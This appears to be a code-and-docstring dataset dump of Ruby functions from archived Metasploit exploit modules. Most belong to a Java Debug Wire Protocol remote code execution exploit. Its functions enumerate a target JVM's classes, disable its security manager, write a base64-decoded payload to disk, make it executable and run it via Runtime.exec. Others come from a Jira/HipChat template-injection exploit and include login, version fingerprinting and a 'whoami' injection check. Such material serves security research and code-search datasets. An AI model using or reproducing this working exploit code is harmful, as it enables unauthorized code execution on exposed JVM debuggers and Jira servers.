nb_entries.times do |var|
if var != 0 && var % 1000 == 0
vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}")
end
data = {}
formats.each do |fmt,name|
if fmt == "L" || fmt == 8
data[name] = buf.unpack('Q>')[0]
buf.slice!(0..7)
elsif fmt == "I" || fmt == 4
data[name] = buf.unpack('N')[0]
buf.slice!(0..3)
elsif fmt == "S"
data_len = buf.unpack('N')[0]
buf.slice!(0..3)
data[name] = buf.slice!(0,data_len)
elsif fmt == "C"
data[name] = buf.unpack('C')[0]
buf.slice!(0)
elsif fmt == "Z"
t = buf.unpack('C')[0]
buf.slice!(0)
if t == 115
data[name] = solve_string(buf.slice!(0..7))
elsif t == 73
data[name], buf = buf.unpack('NN')
end
else
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
end
end
entries.append(data)
end
entries
end
|
Parses given data according to a set of formats
|
parse_entries
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_sizes
formats = [
["I", "fieldid_size"],
["I", "methodid_size"],
["I", "objectid_size"],
["I", "referencetypeid_size"],
["I", "frameid_size"]
]
sock.put(create_packet(IDSIZES_SIG))
response = read_reply
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
|
Gets the sizes of variably-sized data types in the target VM
|
get_sizes
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_version
formats = [
["S", "descr"],
["I", "jdwp_major"],
["I", "jdwp_minor"],
["S", "vm_version"],
["S", "vm_name"]
]
sock.put(create_packet(VERSION_SIG))
response = read_reply
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
|
Gets the JDWP version implemented by the target VM
|
get_version
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
response = read_reply
num_threads = response.unpack('N').first
response.slice!(0..3)
size = @vars["objectid_size"]
num_threads.times do
t_id = unformat(size, response[0..size-1])
@threads[t_id] = nil
response.slice!(0..size-1)
end
end
|
Returns reference for all threads currently running on target VM
|
get_all_threads
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_all_classes
return unless @classes.empty?
formats = [
["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"],
["I", "status"]
]
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply
@classes.append(parse_entries(response, formats))
end
|
Returns reference types for all classes currently loaded by the target VM
|
get_all_classes
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_class_by_name(name)
@classes.each do |entry_array|
entry_array.each do |entry|
if entry["signature"].downcase == name.downcase
return entry
end
end
end
nil
end
|
Checks if specified class is currently loaded by the target VM and returns it
|
get_class_by_name
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_methods(reftype_id)
if @methods.has_key?(reftype_id)
return @methods[reftype_id]
end
formats = [
[@vars["methodid_size"], "method_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, ref_id))
response = read_reply
@methods[reftype_id] = parse_entries(response, formats)
end
|
Returns information for each method in a reference type (ie. object). Inherited methods are not included.
The list of methods will include constructors (identified with the name "<init>")
|
get_methods
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_fields(reftype_id)
formats = [
[@vars["fieldid_size"], "field_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(FIELDS_SIG, ref_id))
response = read_reply
fields = parse_entries(response, formats)
fields
end
|
Returns information for each field in a reference type (ie. object)
|
get_fields
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_value(reftype_id, field_id)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
sock.put(create_packet(GETVALUES_SIG, data))
response = read_reply
num_values = response.unpack('N')[0]
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
fail_with(Failure::Unknown, "Bad response when getting value for field")
end
response.slice!(0..4)
len = @vars["objectid_size"]
value = unformat(len, response)
value
end
|
Returns the value of one static field of the reference type. The field must be member of the reference type
or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
for example, the values of private fields can be obtained.
|
get_value
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_method_by_name(classname, name, signature = nil)
@methods[classname].each do |entry|
if signature.nil?
return entry if entry["name"].downcase == name.downcase
else
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
return entry
end
end
end
nil
end
|
Checks if specified method is currently loaded by the target VM and returns it
|
get_method_by_name
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
unless target_class
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
end
get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
unless target_method
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
end
return target_class, target_method
end
|
Checks if specified class and method are currently loaded by the target VM and returns them
|
get_class_and_method
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def str_to_fq_class(s)
i = s.rindex(".")
unless i
fail_with(Failure::BadConfig, 'Bad defined break class')
end
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
classname = 'L'
classname << s[0..i-1].gsub(/[.]/, '/')
classname << ';'
return classname, method
end
|
Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
|
str_to_fq_class
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def thread_status(thread_id)
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
buf = read_reply(datastore['BREAK_TIMEOUT'])
unless buf
fail_with(Exploit::Failure::Unknown, "No network response")
end
status, suspend_status = buf.unpack('NN')
status
end
|
Gets the status of a given thread
|
thread_status
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def resume_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(RESUMEVM_SIG))
else
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply(datastore['BREAK_TIMEOUT'])
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end
|
Resumes execution of the application or thread after the suspend command or an event has stopped it
|
resume_vm
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def suspend_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(SUSPENDVM_SIG))
else
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end
|
Suspend execution of the application or thread
|
suspend_vm
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def send_event(event_code, args)
data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C')
data << [args.length].pack('N')
args.each do |kind,option|
data << [kind].pack('C')
data << option
end
sock.put(create_packet(EVENTSET_SIG, data))
response = read_reply
unless response
fail_with(Exploit::Failure::Unknown, "#{peer} - No network response")
end
return response.unpack('N')[0]
end
|
Sets an event request. When the event described by this request occurs, an event is sent from the target VM
|
send_event
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def parse_event(buf, event_id, thread_id)
len = @vars["objectid_size"]
return false if buf.length < 10 + len - 1
r_id = buf[6..9].unpack('N')[0]
t_id = unformat(len,buf[10..10+len-1])
return (event_id == r_id) && (thread_id == t_id)
end
|
Parses a received event and compares it with the expected
|
parse_event
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
buf = read_reply
buf
end
|
Invokes a static method. The method must be member of the class type or one of its superclasses,
superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
methods can be invoked.
|
invoke_static
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKEMETHOD_SIG, data))
buf = read_reply
buf
end
|
Invokes a instance method. The method must be member of the object's type or one of its superclasses,
superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
can be invoked.
|
invoke
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
buf = read_reply
buf
end
|
Creates a new object of specified class, invoking the specified constructor. The constructor
method ID must be a member of the class type.
|
create_instance
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def setup_payload
# 1. Setting up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
# 2. Setting up arch specific...
case target['Platform']
when 'linux'
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
if @os.downcase =~ /win/
print_warning("#{peer} - #{@os} system detected but using Linux target...")
end
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
unless @os.downcase =~ /win/
print_warning("#{peer} - #{@os} system detected but using Windows target...")
end
end
return payload_exe, pl_exe
end
|
Configures payload according to targeted architecture
|
setup_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def fingerprint_os(thread_id)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str))
end
|
Invokes java.lang.System.getProperty() for OS fingerprinting purposes
|
fingerprint_os
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename)
file
end
|
Creates a file on the server given a execution thread
|
create_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
end
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
decoder = unformat(size, buf[1..1+size-1])
if decoder.nil? || decoder == 0
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
end
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
end
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_ARRAY].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
end
pl = unformat(size, buf[1..1+size-1])
pl
end
|
Stores the payload on a new string created in target VM
|
upload_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while writing to file")
end
end
|
Dumps the payload on a opened server file given a execution thread
|
dump_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def close_file(thread_id, file)
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while closing file")
end
end
|
Closes a file on the server given a execution thread
|
close_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def execute_command(thread_id, cmd)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
rt = unformat(size, buf[1..1+size-1])
if rt.nil? || (rt == 0)
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
end
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
if exec_meth.nil?
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
end
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
end
|
Executes a system command on target VM making use of java.lang.Runtime.exec()
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def set_step_event
# 1. Select a thread in sleeping status
t_id = nil
@threads.each_key do |thread|
if thread_status(thread) == THREAD_SLEEPING_STATUS
t_id = thread
break
end
end
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
# 2. Suspend the VM before setting the event
suspend_vm
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
step_info = format(@vars["objectid_size"], t_id)
step_info << [STEP_MIN].pack('N')
step_info << [STEP_INTO].pack('N')
data = [[MODKIND_STEP, step_info]]
r_id = send_event(EVENT_STEP, data)
unless r_id
fail_with(Failure::Unknown, "Could not set the event")
end
return r_id, t_id
end
|
Set event for stepping into a running thread
|
set_step_event
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def disable_sec_manager
sys_class = get_class_by_name("Ljava/lang/System;")
fields = get_fields(sys_class["reftype_id"])
sec_field = nil
fields.each do |field|
sec_field = field["field_id"] if field["name"].downcase == "security"
end
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
value = get_value(sys_class["reftype_id"], sec_field)
if(value == 0)
print_good("#{peer} - Security manager was not set")
else
set_value(sys_class["reftype_id"], sec_field, 0)
if get_value(sys_class["reftype_id"], sec_field) == 0
print_good("#{peer} - Security manager has been disabled")
else
print_good("#{peer} - Security manager has not been disabled, trying anyway...")
end
end
end
|
Disables security manager if it's set on target JVM
|
disable_sec_manager
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
# 1. Prepares the payload
payload_exe, pl_exe = setup_payload
# 2. Creates file on server for dumping payload
file = create_file(thread_id, payload_exe)
# 3. Uploads payload to the server
pl = upload_payload(thread_id, pl_exe)
# 4. Dumps uploaded payload into file on the server
dump_payload(thread_id, file, pl)
# 5. Closes the file on the server
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
if target['Platform'] == 'linux'
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd)
end
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
|
Uploads & executes the payload on the target VM
|
exec_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def get_cookie_as_hash(cookie)
Hash[*cookie.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/).flatten]
end
|
Returns a cookie in a hash, so you can ask for a specific parameter.
@return [Hash]
|
get_cookie_as_hash
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def do_explicit_check
begin
cookie = do_login
# I don't really care which command to execute, as long as it's a valid one for both platforms.
# If the command is valid, it should return {"message"=>"0"}.
# If the command is not valid, it should return an empty hash.
c = get_exec_code('whoami')
res = inject_template(c, cookie)
json = res.get_json_document
if json['message'] && json['message'] == '0'
return Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
|
Checks the target by actually triggering the bug.
@return [Array] Exploit::CheckCode::Vulnerable if bug was triggered.
Exploit::CheckCode::Unknown if something failed.
Exploit::CheckCode::Safe for the rest.
|
do_explicit_check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_jira_version
version = nil
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa')
})
unless res
vprint_error('Connection timed out while retrieving the Jira version.')
return version
end
metas = res.get_html_meta_elements
version_element = metas.select { |m|
m.attributes['name'] && m.attributes['name'].value == 'ajs-version-number'
}.first
unless version_element
vprint_error('Unable to find the Jira version.')
return version
end
version_element.attributes['content'] ? version_element.attributes['content'].value : nil
end
|
Returns the Jira version
@return [String] Found Jira version
@return [NilClass] No Jira version found.
|
get_jira_version
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def do_passive_check
jira_version = get_jira_version
vprint_status("Found Jira version: #{jira_version}")
if jira_version && jira_version >= '6.3.5' && jira_version < '6.4.11'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
|
Checks the target by looking at things like the Jira version, or whether the Jira web app
exists or not.
@return [Array] Check code. If the Jira version matches the vulnerable range, it returns
Exploit::CheckCode::Appears. If we can only tell it runs on Jira, we return
Exploit::CheckCode::Detected, because it's possible to have Jira not bundled
with HipChat by default, but installed separately. For other scenarios, we
return Safe.
|
do_passive_check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def check
checkcode = Exploit::CheckCode::Safe
if jira_cred_empty?
vprint_status("No username and password supplied, so we can only do a passive check.")
checkcode = do_passive_check
else
checkcode = do_explicit_check
end
checkcode
end
|
Checks the vulnerability. Username and password are required to be able to accurately verify
the vuln. If supplied, we will try the explicit check (which will trigger the bug, so should
be more reliable). If not, we will try the passive one (less accurately, but better than
nothing).
@see #do_explicit_check
@see #do_passive_check
@return [Array] Check code
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)
create_credential_login(login_data)
end
|
Reports username and password to the database.
@param opts [Hash]
@option opts [String] :user
@option opts [String] :password
@return [void]
|
report_cred
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def do_login
cookie = ''
prerequisites = get_login_prerequisites
xsrf = prerequisites['atlassian.xsrf.token']
sid = prerequisites['JSESSIONID']
uri = normalize_uri(target_uri.path, 'rest', 'gadget', '1.0', 'login')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
'cookie' => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}",
'vars_post' => {
'os_username' => jira_username,
'os_password' => jira_password,
'os_captcha' => '' # Not beatable yet
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
end
json = res.get_json_document
if json.empty?
fail_with(Failure::Unknown, 'Server returned a non-JSon response while trying to login.')
end
if json['loginSucceeded']
cookie = res.get_cookies
elsif !json['loginSucceeded'] && json['captchaFailure']
fail_with(Failure::NoAccess, "#{jira_username} is protected by captcha. Please try a different account.")
elsif !json['loginSucceeded']
fail_with(Failure::NoAccess, 'Incorrect username or password')
end
report_cred(
user: jira_username,
password: jira_password
)
cookie
end
|
Returns a valid login cookie.
@return [String]
|
do_login
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.